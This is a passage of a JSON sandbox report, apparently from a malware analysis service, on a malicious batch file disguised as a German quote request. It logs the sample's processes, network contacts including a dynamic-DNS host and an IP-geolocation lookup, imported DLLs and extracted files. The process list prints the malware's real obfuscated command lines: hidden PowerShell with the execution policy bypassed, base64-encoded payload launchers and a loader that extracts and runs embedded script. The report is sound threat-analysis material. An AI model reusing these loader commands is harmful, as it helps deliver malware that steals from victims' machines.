kind":"extracted","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"File:196e2e81308342bb013a33c9c99029afce9e9ae00a3eb89e867975795b794520"},{"edge_kind":"extracted","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"File:9bf77b76dac2e35bf03811a91b8d014bde38b53935b8bbfe6ab3dc81ec9f4bd0"},{"edge_kind":"extracted","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"File:5c5aede21dc78af21a82837164b3d529404c04fc0375bc171c020db2920b730f"},{"edge_kind":"extracted","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"File:c94956d02f705fd3aa16d28fa33363f0ce1c61bacfa58a1a7ddcf67a790c25b5"},{"edge_kind":"extracted","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"File:9531887463feca8f93eff33d4b74c709187a5225afea751f551f3aacbf54b7f9"},{"edge_kind":"extracted","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"File:5f70bf18a086007016e948b04aed3b82103a36bea41755b6cddfaf10ace3c6ef"},{"edge_kind":"extracted","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"File:a601cea5fcf695fc0f0f0f56d25da6c2effa369fff3d749f82a804cfa0b67918"},{"edge_kind":"extracted","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"File:9bd5fbfd30ce08f9a41c11bcf2d0b53b1888b76627e38e9bee125606bf620c92"},{"edge_kind":"extracted","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"File:63db0149410b0be2e4a4a3a9a989cb2388cc7ab0997d480dc9aef954cff61ba9"},{"edge_kind":"extracted","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"File:5ec010521e0f69436a5854a824c0247aa3fbb4cacca1e505f6744eb3b851052d"},{"edge_kind":"extracted","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"File:261902542c906e888705c5be0692020fb7f50757292633921e822de74156ccda"},{"edge_kind":"extracted","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"File:3bb5f6f71be1ae0720eab3470e0aaee67e9f6dfe1bb80877989166f14856b27f"},{"edge_kind":"extracted","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"File:2cd16abf0aa0701f1bbb0ca3dcc09984bd94b6eb19a22e33a6d1cdf9e185e388"},{"edge_kind":"extracted","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"File:b91284b36e2920ab07bc374125cc3d5e1a1ed9a8a4f579884ebc951cffe5fa88"},{"edge_kind":"extracted","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"File:e39920d5a7e7b676e5d4fca00baecc3b45ec825f03c003ee626cd320e45f6016"},{"edge_kind":"extracted","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"File:7d2065ab0b76498a637c88add286195c71bdb593a995d1f6cedd7ba5fc63ef9e"},{"edge_kind":"extracted","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"File:1b5ac16fdeed1f1d8a9389213d78b4356d26a0823d0054fcb4869d892b89d213"},{"edge_kind":"extracted","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"File:500c344d35847da6eb2a3103b1dc3f3dbc676e0fb68279134e6705cd22d006b6"},{"edge_kind":"extracted","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"File:cf03a364f7eaf9d5ce2f2a96460e0805072830393a977e44d6225ddb5f084988"},{"edge_kind":"extracted","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"File:e9bc28430183686de04353020f35d1917692e7aa980b857386edec72f35a541d"},{"edge_kind":"extracted","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"File:bf372a82c813d748c09d1703ad8e0097e72ef3191ed94a22c3de37e86e9062c6"},{"edge_kind":"extracted","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"File:016bd6d9249a05ccb88b74f79b8e20135711020d1a471cbaf92974a502624b11"},{"edge_kind":"extracted","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"File:2666aa754b423a404dcc68cb0aec6df87030c670606e622f0b5e80139f7760a6"},{"edge_kind":"extracted","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"File:faa38d4432c0daf05a189dfbc6330736418bbe0e5d70bc0ccb5e83a5daa23bf2"},{"edge_kind":"extracted","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"File:124334d61c5d2f70ac7ed5870f71b11cfb028462e3d4015ca5049c130c637d60"},{"edge_kind":"extracted","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"File:a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf"},{"edge_kind":"extracted","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"File:c35ef71f8ab6e9cff344f88a62f6a02e495b6d83a7a92651d4962277e290c035"},{"edge_kind":"extracted","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"File:1274e7aac70491336e11ff76fcbfab93b10e3e5bac8b71360422094fe8677a51"},{"edge_kind":"extracted","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"File:8a92d1a29d39049d2e329bc926f137dd01acded296b7580bef8ff74bacf624ce"},{"edge_kind":"extracted","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"File:6e7c584ab6a22978c7d48d0eb70f3e9cc9fc9d7b41314e78d6ad3e95efc376ea"},{"edge_kind":"extracted","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"File:1afa9116a3a2a1182bd40701e04eb676610833f2fef0e5d8ed5b21f486934994"},{"edge_kind":"extracted","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"File:2666aa754b423a404dcc68cb0aec6df87030c670606e622f0b5e80139f7760a6"},{"edge_kind":"extracted","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"File:96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7"},{"edge_kind":"extracted","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"File:96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7"},{"edge_kind":"extracted","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"File:96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7"},{"edge_kind":"extracted","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"File:faa38d4432c0daf05a189dfbc6330736418bbe0e5d70bc0ccb5e83a5daa23bf2"},{"edge_kind":"extracted","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"File:6ac0f277484e81533f6f7a7d81e383a8e6219e0349f8eae0c779a017a8cd4ae5"},{"edge_kind":"extracted","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"File:96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7"},{"edge_kind":"extracted","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"File:96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7"},{"edge_kind":"extracted","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"File:96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7"},{"edge_kind":"extracted","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"File:96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7"},{"edge_kind":"extracted","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"File:96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7"},{"edge_kind":"extracted","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"File:6e7c584ab6a22978c7d48d0eb70f3e9cc9fc9d7b41314e78d6ad3e95efc376ea"},{"edge_kind":"extracted","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"File:a097423ebb380b44d048f8b2e01921fa8fba69e41f5e221d9a826c1d4871ae6a"},{"edge_kind":"extracted","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"File:c7f2097e6162d2dabd22b1118a41f92a6950bb6365ba7aaed4bc652bc42bebb7"},{"edge_kind":"extracted","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"File:690cdc963869f5920d19b3e6ef9a3d4b79f05bf93c0ec56d41e43f90163a5c0e"},{"edge_kind":"extracted","from_key":"File:48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","to_key":"File:a536119a38a7d9ad225a2cb4a26222d0b7be4b429b7cd3027ed381e430b7715d"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}}]}},"activity":{"stats":{"process_count":14,"spawned_processes_count":14,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":68,"imported_dlls_count":158,"dropped_files_count":1,"extracted_files_count":100,"files_written_count":41,"files_deleted_count":0,"registry_keys_created_count":46,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":46,"embedded_ips_count":0,"embedded_domains_count":2,"embedded_urls_count":0,"contacted_hosts_count":2,"dns_resolutions_count":2,"contacted_urls_count":1,"http_requests_count":1},"behavior_tags":null,"sample_flags":["Multi-Process","Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"6a7ae3dfbc42cb5d98035ed8","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"contacted_countries":["ITA","USA"],"submit_name":"Angebotsanfrage_11-Aug-2026.bat","analysis_start_time":"2026-08-11T08:57:04+00:00","indicators_count":{"informative":158,"suspicious":55,"malicious":10},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true},{"id":"6a7ae00513a61cfd850117e3","environment_id":140,"environment_description":"Windows 11 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"contacted_countries":["ITA","USA"],"submit_name":"Angebotsanfrage_11-Aug-2026.bat","analysis_start_time":"2026-08-11T08:40:38+00:00","indicators_count":{"informative":155,"suspicious":56,"malicious":10},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"94.198.96.165","port":62769,"protocol":"TCP","country":"Italy","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"address":"208.95.112.1","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]}],"dns_resolutions":[{"domain":"ip-api.com","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"domain":"privatehos.casacam.net","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]}],"http_requests":[{"host":"ip-api.com","host_ip":"208.95.112.1:80","url":"/json/","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /json/ HTTP/1.1\nUser-Agent: Mozilla/5.0\nHost: ip-api.com\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]}],"embedded_domains":[{"value":"ip-api.com","sources":[{"report_type":"qsp","report_id":""}]},{"value":"privatehos.casacam.net","sources":[{"report_type":"qsp","report_id":""}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"}],"processes":[{"pid":1272,"ppid":0,"name":"cmd.exe","command_line":"/c \"\"C:\\Angebotsanfrage_11-Aug-2026.bat\" \"","sha256":"ec436aeee41857eee5875efdb7166fe043349db5f58f3ee9fc4ff7f50005767f","normalized_path":"%WINDIR%\\system32\\cmd.exe","uid":"00000000-00001272","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAACWklEQVR4Xu2U208aQRSH/ef70KQvfWgbpQoYxaCNtSByWy7bEqiwVloVZFFAhXjvA3d4OZ3fKBuyDGYWo33ZSU6YwML3zTm/YW7OXvZ6XG/evqPXLDP/xQS+p9LCVzOfCwyHwxerwWBglGWBau2MAmGFWu023d3/pU1/gI718sRz02oc3u/3rQkAvuBepZ14iku4PV4KqWn64HBNPCsqM9yyAMrp2aDC2RUF4j8oltHoz+kFLa56DUHz80/Be72enABa/PGzm8N9kSQVz6/oqHZJh9UGHVTq9DWo0OKKl+ZdK0KJaXBpAcw5ltaoVL+l44sbJpHg7UdthWK8C79PzskXTfLRyMKlBRA2wNRcng4rDb4ffYY9uuBXVCOcsvButysngB/FjyNwaLtIQEnn+B6ysnBpAcDDaobKjTvSG7e81aMRfAvHH7JwWqdgMk2bvoA0XFoAwXIse8i19oX8UZVl4YZl4ZqHscDCuMUklthNwHUslnQO3tV+UTShPgnvdDpyAiMJvLrWNkhnYVSzedpJpNiVvKQlz7rR9kA4SgvOZf6ckxX226GIEG5JYFS4jrHHeWM0kMCfU6Va4wIAZvJFyus12i9VKbV3QPPsPRF8JgH8J+BaImwP4YwacIW1HCcH/P0nBy+tcMLGs04/s9oEvM2+b1nAXOOB283t8bbj5COB3FGZ5yMST07Any0gSjtGgLbj5IAns/t8BCL4swREcAQNgQMQbcfJsfcHI0J4q9WaTWAafPyqQSTD5j7t5IDPJCADF6VdBG82m9MFXrPMfHvZy17/bf0DbjT7Mj+JPksAAAAASUVORK5CYII="},{"pid":6840,"ppid":1272,"name":"powershell.exe","command_line":"powershell -W hIDDEn -NoNI -noP -EP BYPaSS -e \"JABxAD0AWwBjAGgAYQByAF0AMwA0ADsAJABhAD0AJwAvAGMAIAAnACsAJABxACsAJABlAG4AdgA6AF8AUgBnAFcAcwBCAHMAKwAkAHEAKwAnACAAOABjAGUAMABlADAAMwA2ADIAZQAnADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAJABlAG4AdgA6AEMAbwBtAFMAcABlAGMAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJABhACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAEUATgA=\"","sha256":"34507738f84b9d4f231dc0c187fee4a03b4ddb84cf63ff56a4a1761a9bd56ea6","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00001272","uid":"00000000-00006840"},{"pid":7156,"ppid":6840,"name":"cmd.exe","command_line":"/c \"C:\\Angebotsanfrage_11-Aug-2026.bat\" 8ce0e0362e","sha256":"ec436aeee41857eee5875efdb7166fe043349db5f58f3ee9fc4ff7f50005767f","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00006840","uid":"00000000-00007156"},{"pid":3236,"ppid":7156,"name":"powershell.exe","command_line":"powershell -W hIDDEn -NoNI -noP -EP BYPaSS -e \"JABzAD0AWwBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAVABlAHgAdAAoACQAZQBuAHYAOgBfAFIAZwBXAHMAQgBzACkAOwAkAG0AawA9ACQAZQBuAHYAOgBfAEsAOABSAEUAOwAkAGEAPQAkAG0AawAuAFMAdQBiAHMAdAByAGkAbgBnACgAMAAsADEAMAApADsAJABpAD0AJABzAC4ASQBuAGQAZQB4AE8AZgAoACQAYQApADsAaQBmACgAJABpACAALQBsAHQAIAAwACkAewBlAHgAaQB0AH0AOwAkAGMAPQAkAHMALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAaQArADEAMAApADsAJABiAD0AJABtAGsALgBTAHUAYgBzAHQAcgBpAG4AZwAoADEAMAApADsAJABqAD0AJABjAC4ASQBuAGQAZQB4AE8AZgAoACQAYgApADsAaQBmACgAJABqACAALQBsAHQAIAAwACkAewBlAHgAaQB0AH0AOwBpAGUAeAAoACQAYwAuAFMAdQBiAHMAdAByAGkAbgBnACgAMAAsACQAagApACkA\"","sha256":"34507738f84b9d4f231dc0c187fee4a03b4ddb84cf63ff56a4a1761a9bd56ea6","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00007156","uid":"00000000-00003236"},{"pid":4252,"ppid":3236,"name":"cmd.exe","command_line":"/c \"%TEMP%\\frnxne3f.vzc\\npm4ol10jde.cmd\" 1dtoE2WDXh9","sha256":"ec436aeee41857eee5875efdb7166fe043349db5f58f3ee9fc4ff7f50005767f","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00000000-00003236","uid":"00000000-00004252"},{"pid":2148,"ppid":4252,"name":"powershell.exe","command_line":"-w 1 -nop -ep bypass -c \"$f=('Sys'+'tem.IO'+'.Fi'+'le')-as[type];$e=$env:_scriptOrigin;if($f::Exists($e)){$s=$f::ReadAllText($e);$p='::C'+'odeNot'+'ion::';$m=$s.IndexOf($p);if($m -ge 0){$f::WriteAllText($env:_EphemeralScript,$s.Substring($m+(0x1C -shr 1)))}}\"","sha256":"34507738f84b9d4f231dc0c187fee4a03b4ddb84cf63ff56a4a1761a9bd56ea6","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00004252","uid":"00000000-00002148"},{"pid":2684,"ppid":4252,"name":"powershell.exe","command_line":"-w 1 -nop -ep bypass -f \"%PUBLIC%\\28750q24813.ps1\"","sha256":"34507738f84b9d4f231dc0c187fee4a03b4ddb84cf63ff56a4a1761a9bd56ea6","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00004252","uid":"00000000-00002684"},{"pid":7384,"ppid":2684,"name":"csc.exe","command_line":"/noconfig /fullpaths @\"%TEMP%\\nlyjs020\\nlyjs020.cmdline\"","sha256":"4240a12e0b246c9d69af1f697488fe7da1b497df20f4a6f95135b4d5fe180a57","normalized_path":"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe","parent_uid":"00000000-00002684","uid":"00000000-00007384"},{"pid":7544,"ppid":7384,"name":"cvtres.exe","command_line":"/NOLOGO /READONLY /MACHINE:IX86 \"/OUT:%TEMP%\\RESA1C2.tmp\" \"%TEMP%\\nlyjs020\\CSCE33F9235C0B44271B2BF9652FFAD4FA9.TMP\"","sha256":"1fe531eac592b480aa4bd16052b909c3431434f17e7ae163d248355558ce43a6","normalized_path":"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe","parent_uid":"00000000-00007384","uid":"00000000-00007544"},{"pid":7828,"ppid":2684,"name":"RegAsm.exe","command_line":"","sha256":"1e9516da2ded24d635f5fab0347d34ceb76e50b2a015ebb1ee3b8ee69de5faae","normalized_path":"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\RegAsm.exe","parent_uid":"00000000-00002684","uid":"00000000-00007828"},{"pid":2940,"ppid":7828,"name":"wmic.exe","command_line":"\"wmic\" process where ProcessId=2684 get CommandLine /value","sha256":"a23c1b94d193ebe3d4cf647c653e41f63ba7b6d996c9a3de6380408c7e4a812e","normalized_path":"%WINDIR%\\System32\\Wbem\\wmic.exe","parent_uid":"00000000-00007828","uid":"00000000-00002940"},{"pid":7940,"ppid":7828,"name":"chrome.exe","command_line":"","sha256":"0cac3d17c4f4b83ad936cead2a7e79efcc2e0e39ee030a84477af95cffc2bc84","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00007828","uid":"00000000-00007940"},{"pid":864,"ppid":7828,"name":"msedge.exe","command_line":"","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00007828","uid":"00000000-00000864"},{"pid":5512,"ppid":4252,"name":"PING.EXE","command_line":"ping -n 8 127.0.0.1","sha256":"a97f91d6f165705edd286aeff25691806759bfdb051b20c4853965247dda36da","normalized_path":"%WINDIR%\\system32\\PING.EXE","parent_uid":"00000000-00004252","uid":"00000000-00005512"}],"all_imported_dlls":["gdi32full.dll","sechost.dll","version.dll","cryptbase.dll","rasman.dll","OnDemandConnRouteHelper.dll","System.Numerics.ni.dll","edputil.dll","dwmapi.dll","vcruntime140.dll","System.Data.dll","slc.dll","fastprox.dll","System.Drawing.ni.dll","KernelBase.dll","MpClient.dll","rasapi32.dll","dhcpcsvc.dll","shlwapi.dll","System.Core.ni.dll","Microsoft.Management.Infrastructure.ni.dll","Microsoft.PowerShell.Security.ni.dll","sppc.dll","wshqos.dll","vcruntime140_clr0400.dll","System.ni.dll","System.Management.ni.dll","wbemprox.dll","win32u.dll","cfgmgr32.dll","System.Configuration.Install.ni.dll","msvcr90.dll","secur32.dll","iertutil.dll","winnsi.dll","ucrtbase.dll","gdi32.dll","alink.dll","rtutils.dll","dhcpcsvc6.dll","Microsoft.Management.Infrastructure.Native.Unmanaged.dll","msvcp_win.dll","msvcrt.dll","rpcrt4.dll","Microsoft.PowerShell.ConsoleHost.ni.dll","System.Xml.ni.dll","clr.dll","ntmarta.dll","propsys.dll","imagehlp.dll","FWPUCLNT.DLL","msedge_elf.dll","msvcp140.dll","System.Configuration.ni.dll","System.Data.ni.dll","System.Transactions.dll","cldapi.dll","winsqlite3.dll","windows.storage.dll","aepic.dll","urlmon.dll","mi.dll","miutils.dll","rasadhlp.dll","WSHTCPIP.DLL","rsaenh.dll","powrprof.dll","crypt32.dll","chrome_elf.dll","combase.dll","wintrust.dll","System.DirectoryServices.ni.dll","diasymreader.dll","IPHLPAPI.DLL","VxSSL64.dll","shell32.dll","msIso.dll","wmiutils.dll","msxml6.dll","MSOXMLMF.DLL","sxs.dll","psapi.dll","imm32.dll","cryptsp.dll","mscorpehost.dll","vcruntime140_1.dll","mscoreei.dll","ucrtbase_clr0400.dll","amsi.dll","Microsoft.Management.Infrastructure.CimCmdlets.ni.dll","wship6.dll","kernel32.dll","ws2_32.dll","Microsoft.PowerShell.Commands.Utility.ni.dll","cmdext.dll","atl.dll","sspicli.dll","wldp.dll","ntdll.dll","user32.dll","bcryptprimitives.dll","oleaut32.dll","mscoree.dll","kernel.appcore.dll","msasn1.dll","Microsoft.PowerShell.Commands.Management.ni.dll","nsi.dll","bcrypt.dll","SHCore.dll","clrjit.dll","wmidcom.dll","wbemsvc.dll","System.Windows.Forms.ni.dll","WMINet_Utils.dll","profapi.dll","dpapi.dll","mswsock.dll","dnsapi.dll","webengine4.dll","MpOAV.dll","System.Transactions.ni.dll","fltLib.dll","mscorlib.ni.dll","gpapi.dll","System.Management.Automation.ni.dll","clbcatq.dll","userenv.dll","uxtheme.dll","Windows.StateRepositoryPS.dll","System.Web.dll","framedynos.dll","advapi32.dll","Microsoft.Management.Infrastructure.Native.ni.dll","ole32.dll","pOc2mJm8.dll","wbemcomn.dll","winhttp.dll","5k62Yh0L.dll","WinTypes.dll","prxyqry.dll","freebl3.dll","mozglue.dll","OneCoreUAPCommonProxyStub.dll","apphelp.dll","AcLayers.dll","wsock32.dll","nss3.dll","msisip.dll","vcruntime140_1_clr0400.dll","netutils.dll","srvcli.dll","virtdisk.dll","softokn3.dll","AppResolver.dll","wshext.dll","pwrshsip.dll","BCP47Langs.dll","AppxSip.dll"]},"file_activity":{"dropped_files":[{"name":"faa38d4432c0daf0_srdj5j5omxa.cmd","sha256":"faa38d4432c0daf05a189dfbc6330736418bbe0e5d70bc0ccb5e83a5daa23bf2","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]}],"extracted_files":[{"name":"0e218c2068da418881d1283b15e293434100e29b0d18e247b21e2689480240e5","sha256":"0e218c2068da418881d1283b15e293434100e29b0d18e247b21e2689480240e5","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"11ada68eadc52507b36a5fd112ee187c4486ab673addeea688a6d686aa2d7577","sha256":"11ada68eadc52507b36a5fd112ee187c4486ab673addeea688a6d686aa2d7577","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"2026-08-11T18-13-46-f880b8.ps1","sha256":"f880b898b54de3058273873617d3ce33684f1d26ba0582dfc15adfe0dbf8976f","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"R5%","sha256":"60ab94a4a8204700a9d076a8c4f5ac2f09dced5a1da33bbbbb00ea1453b5f834","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":".rsrc_1","sha256":"48701226df8502dca0c06f532ce3d6cb244ced572e62f34db23ad20a1af48a9f","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"linear-base64-chunk-011","sha256":"ad677d79c58fba70140e1ce87a3045927b54e26efc07b89e59eb1188e5e9fa3a","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"c1de50163273f4e973a6750f5b9ae0e4d4e731041f8991daba595eb2a9480126","sha256":"c1de50163273f4e973a6750f5b9ae0e4d4e731041f8991daba595eb2a9480126","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"0dbfbe2f8816c6923f01cd934d28daf1f6a778d9e351a5b04719134efdfb38fa","sha256":"0dbfbe2f8816c6923f01cd934d28daf1f6a778d9e351a5b04719134efdfb38fa","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"linear-base64","sha256":"b565a7e54d52ceeb8250e496db5b7ab8754fe1dbd7e8c2d73545a5b42b4b7be8","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"41bf503fc3b648d0e18d52ba7136490178557b422801c4d909faf1deca09a090","sha256":"41bf503fc3b648d0e18d52ba7136490178557b422801c4d909faf1deca09a090","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"23ab6122ee2531025bbb40a6316da523d6f0e771e0f5a3d6bf651c99aeac43a6","sha256":"23ab6122ee2531025bbb40a6316da523d6f0e771e0f5a3d6bf651c99aeac43a6","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"linear-base64-chunk-009","sha256":"2907cad6afb500213754faa428c18a4e1a1a244a8621f6a56176ff16a314f0a0","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"60239d9d7259bc4784599a07dc360c83398d414244f1aee4ed66c2991f8a3f58","sha256":"60239d9d7259bc4784599a07dc360c83398d414244f1aee4ed66c2991f8a3f58","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"_pack.txt","sha256":"b35e09fa2ced9ebcad9d16336fb961146fe34bfbebc562679da85f8a314c9dca","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"59becaadf2e2fff442437a589570ae55c310dd9172d5eb0f1a681e176243e908","sha256":"59becaadf2e2fff442437a589570ae55c310dd9172d5eb0f1a681e176243e908","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"2026-08-11T18-14-26-2666aa.ps1","sha256":"2666aa754b423a404dcc68cb0aec6df87030c670606e622f0b5e80139f7760a6","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"linear-base64-chunk-010","sha256":"c40e2324f4aefc7c42b65bf2dea583406c19b64dacc21bfc7b926786c9e99538","verdict":"suspicious","sources":[{